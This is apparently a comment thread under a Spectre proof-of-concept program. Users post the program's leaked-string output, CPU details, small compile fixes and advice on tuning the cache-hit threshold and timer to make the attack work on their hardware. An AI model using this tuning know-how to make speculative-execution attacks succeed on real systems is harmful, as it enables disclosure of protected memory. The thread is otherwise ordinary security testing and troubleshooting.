Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=999)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=995)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x4F=’O’ score=998 (second best: 0x00 score=995)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=993)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=992)
Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=997)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x66=’f’ score=999 (second best: 0x00 score=998)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=989)
Reading at malicious_x = 0xfffffffffffffeda... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=994)
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x67=’g’ score=998 (second best: 0x00 score=990)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=992)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x2E=’.’ score=999 (second best: 0x00 score=975)

ferreirasc commented Jan 4, 2018

macOS 10.12.6 (1.6GHz i5):

Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x54=’T’ score=997    (second best: 0x02 score=741)
Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x68=’h’ score=978    (second best: 0x02 score=753)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x65=’e’ score=986    (second best: 0x02 score=706)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x20=’ ’ score=986    (second best: 0x02 score=805)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x4D=’M’ score=976    (second best: 0x02 score=833)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x61=’a’ score=998    (second best: 0x02 score=824)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x67=’g’ score=976    (second best: 0x02 score=542)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x69=’i’ score=972    (second best: 0x00 score=626)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x63=’c’ score=973    (second best: 0x02 score=709)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x20=’ ’ score=986    (second best: 0x02 score=820)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x57=’W’ score=986    (second best: 0x02 score=808)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x6F=’o’ score=988    (second best: 0x02 score=731)
Reading at malicious_x = 0xfffffffffffffeca... Unclear: 0x72=’r’ score=993    (second best: 0x02 score=817)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x64=’d’ score=981    (second best: 0x02 score=663)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x73=’s’ score=996    (second best: 0x02 score=817)
Reading at malicious_x = 0xfffffffffffffecd... Success: 0x20=’ ’ score=15    (second best: 0x02 score=5)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=993    (second best: 0x02 score=694)
Reading at malicious_x = 0xfffffffffffffecf... Success: 0x72=’r’ score=39    (second best: 0x02 score=17)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x65=’e’ score=994    (second best: 0x02 score=683)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x20=’ ’ score=985    (second best: 0x02 score=697)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x53=’S’ score=997    (second best: 0x02 score=820)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x71=’q’ score=991    (second best: 0x02 score=826)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x75=’u’ score=995    (second best: 0x02 score=767)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x65=’e’ score=991    (second best: 0x02 score=720)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x61=’a’ score=992    (second best: 0x02 score=841)
Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x6D=’m’ score=991    (second best: 0x02 score=724)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x69=’i’ score=995    (second best: 0x02 score=834)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x73=’s’ score=991    (second best: 0x02 score=776)
Reading at malicious_x = 0xfffffffffffffeda... Unclear: 0x68=’h’ score=983    (second best: 0x02 score=811)
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x20=’ ’ score=981    (second best: 0x02 score=832)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x4F=’O’ score=971    (second best: 0x02 score=806)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x73=’s’ score=996    (second best: 0x02 score=768)
Reading at malicious_x = 0xfffffffffffffede... Unclear: 0x73=’s’ score=996    (second best: 0x02 score=737)
Reading at malicious_x = 0xfffffffffffffedf... Unclear: 0x69=’i’ score=997    (second best: 0x02 score=752)
Reading at malicious_x = 0xfffffffffffffee0... Unclear: 0x66=’f’ score=984    (second best: 0x02 score=789)
Reading at malicious_x = 0xfffffffffffffee1... Unclear: 0x72=’r’ score=997    (second best: 0x02 score=796)
Reading at malicious_x = 0xfffffffffffffee2... Unclear: 0x61=’a’ score=993    (second best: 0x02 score=765)
Reading at malicious_x = 0xfffffffffffffee3... Unclear: 0x67=’g’ score=997    (second best: 0x02 score=784)
Reading at malicious_x = 0xfffffffffffffee4... Unclear: 0x65=’e’ score=986    (second best: 0x02 score=763)
Reading at malicious_x = 0xfffffffffffffee5... Unclear: 0x2E=’.’ score=982    (second best: 0x02 score=733)

Having a hard time trying to compile to code on

Architecture:          x86_64
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
CPU(s):                2
On-line CPU(s) list:   0,1
Thread(s) per core:    1
Core(s) per socket:    2
Socket(s):             1
Vendor ID:             GenuineIntel
CPU family:            6
Model:                 23
Model name:            Intel(R) Core(TM)2 Duo CPU     P8400  @ 2.26GHz
Stepping:              6
CPU MHz:               2266.806
BogoMIPS:              4533.61
Virtualization:        VT-x
L1d cache:             32K
L1i cache:             32K
L2 cache:              3072K
Flags:                 fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf eagerfpu pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm tpr_shadow vnmi flexpriority dtherm

Anyone have that?

Works on the following:

  • AMD Ryzen R7 1700 Bash on Ubuntu on Windows (Ubuntu 16.04LTS with Windows 10 1709)

  • Intel i7-6700HQ on Bash on Ubuntu on Windows (Ubuntu 16.04LTS with Windows 10 1709) [same executable as above]

  • AMD Ryzen R7 1700 on Windows 10 1709 (compiled with MinGW GCC, no flags)

  • Intel i7-6700HQ on Windows 10 1709 (compiled with MinGW GCC, no flags) [same executable as above]

Intel(R) Core(TM) i5-5257U CPU @ 2.70GHz
MacOS High Sierra 10.13.2

gcc --std=c99 -o spectre spectre.c
./spectre

Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x54=’T’ score=995    (second best: 0x02 score=816)
Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x68=’h’ score=990    (second best: 0x02 score=800)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x65=’e’ score=950    (second best: 0x02 score=849)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x20=’ ’ score=975    (second best: 0x02 score=850)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x4D=’M’ score=976    (second best: 0x02 score=891)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x61=’a’ score=959    (second best: 0x02 score=888)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x67=’g’ score=998    (second best: 0x02 score=929)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x69=’i’ score=985    (second best: 0x02 score=900)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x63=’c’ score=963    (second best: 0x02 score=905)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x20=’ ’ score=976    (second best: 0x02 score=856)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x57=’W’ score=985    (second best: 0x02 score=918)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x6F=’o’ score=979    (second best: 0x02 score=887)
Reading at malicious_x = 0xfffffffffffffeca... Unclear: 0x72=’r’ score=997    (second best: 0x02 score=903)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x64=’d’ score=962    (second best: 0x02 score=734)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x73=’s’ score=994    (second best: 0x02 score=905)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x20=’ ’ score=998    (second best: 0x02 score=833)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=957    (second best: 0x02 score=891)
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x72=’r’ score=993    (second best: 0x02 score=767)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x65=’e’ score=963    (second best: 0x02 score=888)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x20=’ ’ score=998    (second best: 0x02 score=927)
Reading at malicious_x = 0xfffffffffffffed2... Unclear: 0x53=’S’ score=980    (second best: 0x02 score=743)
Reading at malicious_x = 0xfffffffffffffed3... Unclear: 0x71=’q’ score=978    (second best: 0x02 score=808)
Reading at malicious_x = 0xfffffffffffffed4... Unclear: 0x75=’u’ score=989    (second best: 0x02 score=887)
Reading at malicious_x = 0xfffffffffffffed5... Unclear: 0x65=’e’ score=994    (second best: 0x02 score=909)
Reading at malicious_x = 0xfffffffffffffed6... Unclear: 0x61=’a’ score=953    (second best: 0x02 score=871)
Reading at malicious_x = 0xfffffffffffffed7... Unclear: 0x6D=’m’ score=979    (second best: 0x02 score=899)
Reading at malicious_x = 0xfffffffffffffed8... Unclear: 0x69=’i’ score=991    (second best: 0x02 score=907)
Reading at malicious_x = 0xfffffffffffffed9... Unclear: 0x73=’s’ score=995    (second best: 0x02 score=903)
Reading at malicious_x = 0xfffffffffffffeda... Unclear: 0x68=’h’ score=985    (second best: 0x02 score=884)
Reading at malicious_x = 0xfffffffffffffedb... Unclear: 0x20=’ ’ score=967    (second best: 0x02 score=834)
Reading at malicious_x = 0xfffffffffffffedc... Unclear: 0x4F=’O’ score=976    (second best: 0x02 score=893)
Reading at malicious_x = 0xfffffffffffffedd... Unclear: 0x73=’s’ score=999    (second best: 0x02 score=699)
Reading at malicious_x = 0xfffffffffffffede... Unclear: 0x73=’s’ score=989    (second best: 0x02 score=704)
Reading at malicious_x = 0xfffffffffffffedf... Unclear: 0x69=’i’ score=985    (second best: 0x02 score=894)
Reading at malicious_x = 0xfffffffffffffee0... Unclear: 0x66=’f’ score=992    (second best: 0x02 score=853)
Reading at malicious_x = 0xfffffffffffffee1... Unclear: 0x72=’r’ score=992    (second best: 0x02 score=782)
Reading at malicious_x = 0xfffffffffffffee2... Unclear: 0x61=’a’ score=965    (second best: 0x02 score=858)
Reading at malicious_x = 0xfffffffffffffee3... Unclear: 0x67=’g’ score=987    (second best: 0x02 score=823)
Reading at malicious_x = 0xfffffffffffffee4... Unclear: 0x65=’e’ score=982    (second best: 0x02 score=808)
Reading at malicious_x = 0xfffffffffffffee5... Unclear: 0x2E=’.’ score=980    (second best: 0x02 score=869)

banderlog commented Jan 4, 2018

Genuine Intel(R) CPU U7300 @ 1.30GHz
Gentoo 4.12.12

Results for original spectre.c

Reading 40 bytes:
Illegal instruction`

Results for patched spectre.c (CACHE_HIT_THRESHOLD (100), __rdtsc() instead of __rtdscp()):

Reading 40 bytes:
Reading at malicious_x = 0xffffeb90... Unclear: 0x07='?' score=56 (second best: 0x08 score=55)
Reading at malicious_x = 0xffffeb91... Unclear: 0x0A='?' score=56 (second best: 0x08 score=55)
Reading at malicious_x = 0xffffeb92... Unclear: 0x02='?' score=57 (second best: 0x07 score=54)
Reading at malicious_x = 0xffffeb93... Unclear: 0x02='?' score=56 (second best: 0x06 score=55)
Reading at malicious_x = 0xffffeb94... Unclear: 0x0E='?' score=55 (second best: 0x08 score=53)
Reading at malicious_x = 0xffffeb95... Unclear: 0x0E='?' score=56 (second best: 0x00 score=57)
Reading at malicious_x = 0xffffeb96... Unclear: 0x02='?' score=56 (second best: 0x01 score=56)
Reading at malicious_x = 0xffffeb97... Unclear: 0x09='?' score=55 (second best: 0x0A score=54)
Reading at malicious_x = 0xffffeb98... Unclear: 0x02='?' score=57 (second best: 0x00 score=52)
Reading at malicious_x = 0xffffeb99... Unclear: 0x07='?' score=55 (second best: 0x01 score=55)
Reading at malicious_x = 0xffffeb9a... Unclear: 0x07='?' score=57 (second best: 0x08 score=55)
Reading at malicious_x = 0xffffeb9b... Unclear: 0x02='?' score=58 (second best: 0x0E score=54)
Reading at malicious_x = 0xffffeb9c... Unclear: 0x02='?' score=58 (second best: 0x09 score=57)
Reading at malicious_x = 0xffffeb9d... Unclear: 0x02='?' score=57 (second best: 0x0A score=54)
Reading at malicious_x = 0xffffeb9e... Unclear: 0x01='?' score=55 (second best: 0x00 score=54)
Reading at malicious_x = 0xffffeb9f... Unclear: 0x00='?' score=58 (second best: 0x01 score=55)
Reading at malicious_x = 0xffffeba0... Unclear: 0x0E='?' score=58 (second best: 0x06 score=58)
Reading at malicious_x = 0xffffeba1... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffeba2... Unclear: 0x0A='?' score=56 (second best: 0x09 score=56)
Reading at malicious_x = 0xffffeba3... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffeba4... Unclear: 0x08='?' score=58 (second best: 0x0E score=55)
Reading at malicious_x = 0xffffeba5... Unclear: 0x08='?' score=55 (second best: 0x06 score=54)
Reading at malicious_x = 0xffffeba6... Unclear: 0x02='?' score=57 (second best: 0x01 score=56)
Reading at malicious_x = 0xffffeba7... Unclear: 0x0A='?' score=57 (second best: 0x02 score=56)
Reading at malicious_x = 0xffffeba8... Unclear: 0x02='?' score=56 (second best: 0x00 score=57)
Reading at malicious_x = 0xffffeba9... Unclear: 0x02='?' score=55 (second best: 0x06 score=54)
Reading at malicious_x = 0xffffebaa... Unclear: 0x0A='?' score=58 (second best: 0x06 score=54)
Reading at malicious_x = 0xffffebab... Unclear: 0x00='?' score=54 (second best: 0x08 score=54)
Reading at malicious_x = 0xffffebac... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffebad... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffebae... Unclear: 0x02='?' score=58 (second best: 0x09 score=56)
Reading at malicious_x = 0xffffebaf... Unclear: 0x00='?' score=56 (second best: 0x08 score=54)
Reading at malicious_x = 0xffffebb0... Unclear: 0x00='?' score=57 (second best: 0x02 score=55)
Reading at malicious_x = 0xffffebb1... Unclear: 0x02='?' score=58 (second best: 0x0E score=56)
Reading at malicious_x = 0xffffebb2... Unclear: 0x01='?' score=58 (second best: 0x02 score=56)
Reading at malicious_x = 0xffffebb3... Unclear: 0x02='?' score=60 (second best: 0x06 score=54)
Reading at malicious_x = 0xffffebb4... Unclear: 0x02='?' score=60 (second best: 0x01 score=56)
Reading at malicious_x = 0xffffebb5... Unclear: 0x0E='?' score=53 (second best: 0x0A score=53)
Reading at malicious_x = 0xffffebb6... Unclear: 0x06='?' score=54 (second best: 0x02 score=53)
Reading at malicious_x = 0xffffebb7... Unclear: 0x02='?' score=55 (second best: 0x09 score=54)

Playing with CACHE_HIT_THRESHOLD size did not help much. With >300 it shows more success, but symbols are incorrect.

ndurbinsynchr commented Jan 4, 2018

Running:
4.14.11-300.fc27.x86_64 On a Lenovo T460

$ lscpu | grep CPU
CPU op-mode(s): 32-bit, 64-bit
CPU(s): 4
On-line CPU(s) list: 0-3
CPU family: 6
Model name: Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz
CPU MHz: 2800.000
CPU max MHz: 3400.0000
CPU min MHz: 400.0000
NUMA node0 CPU(s): 0-3

Had to make to changes for the spectre.c to complie:
-#define CACHE_HIT_THRESHOLD(80) /* assume cache hit if time <= threshold /
+#define CACHE_HIT_THRESHOLD (80) /
assume cache hit if time <= threshold */

-(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
+(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);

Results:

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Unclear: 0x54=’T’ score=977 (second best: 0x01 score=687)
Reading at malicious_x = 0xffffffffffdffac1... Unclear: 0x68=’h’ score=998 (second best: 0x01 score=706)
Reading at malicious_x = 0xffffffffffdffac2... Unclear: 0x65=’e’ score=939 (second best: 0x01 score=642)
Reading at malicious_x = 0xffffffffffdffac3... Unclear: 0x20=’ ’ score=934 (second best: 0x01 score=690)
Reading at malicious_x = 0xffffffffffdffac4... Unclear: 0x4D=’M’ score=996 (second best: 0x01 score=758)
Reading at malicious_x = 0xffffffffffdffac5... Unclear: 0x61=’a’ score=977 (second best: 0x01 score=691)
Reading at malicious_x = 0xffffffffffdffac6... Unclear: 0x67=’g’ score=997 (second best: 0x01 score=736)
Reading at malicious_x = 0xffffffffffdffac7... Unclear: 0x69=’i’ score=937 (second best: 0x01 score=614)
Reading at malicious_x = 0xffffffffffdffac8... Unclear: 0x63=’c’ score=997 (second best: 0x01 score=770)
Reading at malicious_x = 0xffffffffffdffac9... Unclear: 0x20=’ ’ score=863 (second best: 0x01 score=660)
Reading at malicious_x = 0xffffffffffdffaca... Unclear: 0x57=’W’ score=928 (second best: 0x01 score=689)
Reading at malicious_x = 0xffffffffffdffacb... Unclear: 0x6F=’o’ score=996 (second best: 0x01 score=713)
Reading at malicious_x = 0xffffffffffdffacc... Unclear: 0x72=’r’ score=995 (second best: 0x01 score=677)
Reading at malicious_x = 0xffffffffffdffacd... Unclear: 0x64=’d’ score=996 (second best: 0x01 score=727)
Reading at malicious_x = 0xffffffffffdfface... Unclear: 0x73=’s’ score=993 (second best: 0x01 score=723)
Reading at malicious_x = 0xffffffffffdffacf... Unclear: 0x20=’ ’ score=995 (second best: 0x01 score=760)
Reading at malicious_x = 0xffffffffffdffad0... Unclear: 0x61=’a’ score=996 (second best: 0x01 score=782)
Reading at malicious_x = 0xffffffffffdffad1... Unclear: 0x72=’r’ score=997 (second best: 0x01 score=765)
Reading at malicious_x = 0xffffffffffdffad2... Unclear: 0x65=’e’ score=989 (second best: 0x01 score=743)
Reading at malicious_x = 0xffffffffffdffad3... Unclear: 0x20=’ ’ score=987 (second best: 0x01 score=748)
Reading at malicious_x = 0xffffffffffdffad4... Unclear: 0x53=’S’ score=998 (second best: 0x01 score=758)
Reading at malicious_x = 0xffffffffffdffad5... Unclear: 0x71=’q’ score=986 (second best: 0x01 score=747)
Reading at malicious_x = 0xffffffffffdffad6... Unclear: 0x75=’u’ score=997 (second best: 0x01 score=761)
Reading at malicious_x = 0xffffffffffdffad7... Unclear: 0x65=’e’ score=998 (second best: 0x01 score=758)
Reading at malicious_x = 0xffffffffffdffad8... Unclear: 0x61=’a’ score=988 (second best: 0x01 score=749)
Reading at malicious_x = 0xffffffffffdffad9... Unclear: 0x6D=’m’ score=993 (second best: 0x01 score=765)
Reading at malicious_x = 0xffffffffffdffada... Unclear: 0x69=’i’ score=990 (second best: 0x01 score=739)
Reading at malicious_x = 0xffffffffffdffadb... Unclear: 0x73=’s’ score=998 (second best: 0x01 score=761)
Reading at malicious_x = 0xffffffffffdffadc... Unclear: 0x68=’h’ score=994 (second best: 0x01 score=785)
Reading at malicious_x = 0xffffffffffdffadd... Unclear: 0x20=’ ’ score=981 (second best: 0x01 score=753)
Reading at malicious_x = 0xffffffffffdffade... Unclear: 0x4F=’O’ score=986 (second best: 0x01 score=767)
Reading at malicious_x = 0xffffffffffdffadf... Unclear: 0x73=’s’ score=997 (second best: 0x01 score=767)
Reading at malicious_x = 0xffffffffffdffae0... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=771)
Reading at malicious_x = 0xffffffffffdffae1... Unclear: 0x69=’i’ score=999 (second best: 0x01 score=757)
Reading at malicious_x = 0xffffffffffdffae2... Unclear: 0x66=’f’ score=992 (second best: 0x01 score=751)
Reading at malicious_x = 0xffffffffffdffae3... Unclear: 0x72=’r’ score=998 (second best: 0x01 score=749)
Reading at malicious_x = 0xffffffffffdffae4... Unclear: 0x61=’a’ score=994 (second best: 0x01 score=763)
Reading at malicious_x = 0xffffffffffdffae5... Unclear: 0x67=’g’ score=997 (second best: 0x01 score=754)
Reading at malicious_x = 0xffffffffffdffae6... Unclear: 0x65=’e’ score=994 (second best: 0x01 score=749)
Reading at malicious_x = 0xffffffffffdffae7... Unclear: 0x2E=’.’ score=986 (second best: 0x01 score=764)

Gungthar commented Jan 4, 2018

Result:
Reading 40 bytes: Reading at malicious_x = 0xffffffffffdffa90... Success: 0x54=’T’ score=47 (second
best: 0x0E score=21) Reading at malicious_x = 0xffffffffffdffa91... Success: 0x68=’h’ score=17 (second
best: 0x01 score=6) Reading at malicious_x = 0xffffffffffdffa92... Success: 0x65=’e’ score=2 Reading at
malicious_x = 0xffffffffffdffa93... Success: 0x20=’ ’ score=2 Reading at malicious_x =
0xffffffffffdffa94... Success: 0x4D=’M’ score=33 (second best: 0x02 score=14) Reading at malicious_x =
0xffffffffffdffa95... Success: 0x61=’a’ score=2 Reading at malicious_x = 0xffffffffffdffa96... Success:
0x67=’g’ score=2 Reading at malicious_x = 0xffffffffffdffa97... Success: 0x69=’i’ score=7 (second best:
0x0E score=1) Reading at malicious_x = 0xffffffffffdffa98... Success: 0x63=’c’ score=9 (second best:
0x08 score=2) Reading at malicious_x = 0xffffffffffdffa99... Success: 0x20=’ ’ score=2 Reading at
malicious_x = 0xffffffffffdffa9a... Success: 0x57=’W’ score=2 Reading at malicious_x =
0xffffffffffdffa9b... Success: 0x6F=’o’ score=2 Reading at malicious_x = 0xffffffffffdffa9c... Success:
0x72=’r’ score=2 Reading at malicious_x = 0xffffffffffdffa9d... Success: 0x64=’d’ score=2 Reading at
malicious_x = 0xffffffffffdffa9e... Success: 0x73=’s’ score=2 Reading at malicious_x =
0xffffffffffdffa9f... Success: 0x20=’ ’ score=2 Reading at malicious_x = 0xffffffffffdffaa0... Success:
0x61=’a’ score=7 (second best: 0x06 score=1) Reading at malicious_x = 0xffffffffffdffaa1... Unclear:
0x07=’?’ score=60 (second best: 0x08 score=55) Reading at malicious_x = 0xffffffffffdffaa2... Success:
0x65=’e’ score=2 Reading at malicious_x = 0xffffffffffdffaa3... Unclear: 0x20=’ ’ score=58 (second best:
0x00 score=52) Reading at malicious_x = 0xffffffffffdffaa4... Unclear: 0x06=’?’ score=55 (second best:
0x0E score=52) Reading at malicious_x = 0xffffffffffdffaa5... Unclear: 0x06=’?’ score=56 (second best:
0x02 score=55) Reading at malicious_x = 0xffffffffffdffaa6... Success: 0x75=’u’ score=2 Reading at
malicious_x = 0xffffffffffdffaa7... Unclear: 0x08=’?’ score=53 (second best: 0x09 score=52) Reading at
malicious_x = 0xffffffffffdffaa8... Unclear: 0x61=’a’ score=66 (second best: 0x0E score=57) Reading at
malicious_x = 0xffffffffffdffaa9... Unclear: 0x6D=’m’ score=62 (second best: 0x08 score=55) Reading at
malicious_x = 0xffffffffffdffaaa... Unclear: 0x0E=’?’ score=55 (second best: 0x02 score=55) Reading at
malicious_x = 0xffffffffffdffaab... Unclear: 0x09=’?’ score=57 (second best: 0x06 score=57) Reading at
malicious_x = 0xffffffffffdffaac... Unclear: 0x68=’h’ score=60 (second best: 0x02 score=53) Reading at
malicious_x = 0xffffffffffdffaad... Unclear: 0x0E=’?’ score=53 (second best: 0x07 score=51) Reading at
malicious_x = 0xffffffffffdffaae... Unclear: 0x07=’?’ score=54 (second best: 0x06 score=53) Reading at
malicious_x = 0xffffffffffdffaaf... Unclear: 0x08=’?’ score=55 (second best: 0x0E score=54) Reading at
malicious_x = 0xffffffffffdffab0... Unclear: 0x73=’s’ score=97 (second best: 0x02 score=51) Reading at
malicious_x = 0xffffffffffdffab1... Success: 0x69=’i’ score=2 Reading at malicious_x =
0xffffffffffdffab2... Success: 0x66=’f’ score=17 (second best: 0x09 score=6) Reading at malicious_x =
0xffffffffffdffab3... Success: 0x72=’r’ score=2 Reading at malicious_x = 0xffffffffffdffab4... Success:
0x61=’a’ score=25 (second best: 0x08 score=10) Reading at malicious_x = 0xffffffffffdffab5... Success:
0x67=’g’ score=2 Reading at malicious_x = 0xffffffffffdffab6... Unclear: 0x65=’e’ score=101 (second
best: 0x0A score=52) Reading at malicious_x = 0xffffffffffdffab7... Unclear: 0x2E=’.’ score=90 (second
best: 0x02 score=55)

/proc/cpuinfo:

processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 15
model name : Intel(R) Core(TM)2 Duo CPU L7500 @ 1.60GHz
stepping : 11
microcode : 0xba
cpu MHz : 1601.000
cache size : 4096 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow vnmi flexpriority dtherm ida
bugs :
bogomips : 3191.96
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:

processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 15
model name : Intel(R) Core(TM)2 Duo CPU L7500 @ 1.60GHz
stepping : 11
microcode : 0xba
cpu MHz : 1601.000
cache size : 4096 KB
physical id : 0
siblings : 2
core id : 1
cpu cores : 2
apicid : 1
initial apicid : 1
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow vnmi flexpriority dtherm ida
bugs :
bogomips : 3191.82
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:

LionsAd commented Jan 4, 2018

@banderlog I would try with more runs (9999 instead of 999) and also use an even higher threshold (130) and also try with a way lower one (e.g. 60).

Added space before (80).
Fedora 25
uname -a: Linux localhost.localdomain 4.13.16-100.fc25.x86_64 #1 SMP Mon Nov 27 19:52:46 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
head -n7 /proc/cpuinfo:

processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 30
model name	: Intel(R) Core(TM) i7 CPU       Q 820  @ 1.73GHz
stepping	: 5
microcode	: 0x7

Total success with scope=2 on everything.
FUUUU…

On Mac: Processor Name: Intel Core i5 - Processor Speed: 2,8 GHz

exploit

I'm running the patched kernel on Centos 7 but the program still returns the string. Am I doing something wrong here?
image

tomwisniewskiprv commented Jan 4, 2018

Worked just fine on my linux with :

model name : Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz

On Windows I had to compile it with -march=native and the results are :

Reading at malicious_x = 00001024... Success: 0x54=ÔÇÖTÔÇÖ score=2
Reading at malicious_x = 00001025... Success: 0x68=ÔÇÖhÔÇÖ score=2
Reading at malicious_x = 00001026... Success: 0x65=ÔÇÖeÔÇÖ score=2
Reading at malicious_x = 00001027... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 00001028... Success: 0x4D=ÔÇÖMÔÇÖ score=2
Reading at malicious_x = 00001029... Success: 0x61=ÔÇÖaÔÇÖ score=2
Reading at malicious_x = 0000102A... Success: 0x67=ÔÇÖgÔÇÖ score=2
Reading at malicious_x = 0000102B... Unclear: 0x69=ÔÇÖiÔÇÖ score=999 (second best: 0x6A score=760)
Reading at malicious_x = 0000102C... Success: 0x63=ÔÇÖcÔÇÖ score=2
Reading at malicious_x = 0000102D... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 0000102E... Success: 0x57=ÔÇÖWÔÇÖ score=2
Reading at malicious_x = 0000102F... Success: 0x6F=ÔÇÖoÔÇÖ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 00001030... Success: 0x72=ÔÇÖrÔÇÖ score=9 (second best: 0x01 score=2)
Reading at malicious_x = 00001031... Success: 0x64=ÔÇÖdÔÇÖ score=2
Reading at malicious_x = 00001032... Success: 0x73=ÔÇÖsÔÇÖ score=2
Reading at malicious_x = 00001033... Success: 0x20=ÔÇÖ ÔÇÖ score=2
Reading at malicious_x = 00001034... Success: 0x61=ÔÇÖaÔÇÖ score=2
Reading at malicious_x = 00001035... Success: 0x72=ÔÇÖrÔÇÖ score=2
Reading at malicious_x = 00001036... Success: 0x65=ÔÇÖeÔÇÖ score=2
Reading at malicious_x = 00001037... Success: 0x20=ÔÇÖ ÔÇÖ score=7 (second best: 0x04 score=1)
Reading at malicious_x = 00001038... Success: 0x53=ÔÇÖSÔÇÖ score=7 (second best: 0x54 score=1)
Reading at malicious_x = 00001039... Success: 0x71=ÔÇÖqÔÇÖ score=7 (second best: 0x04 score=1)
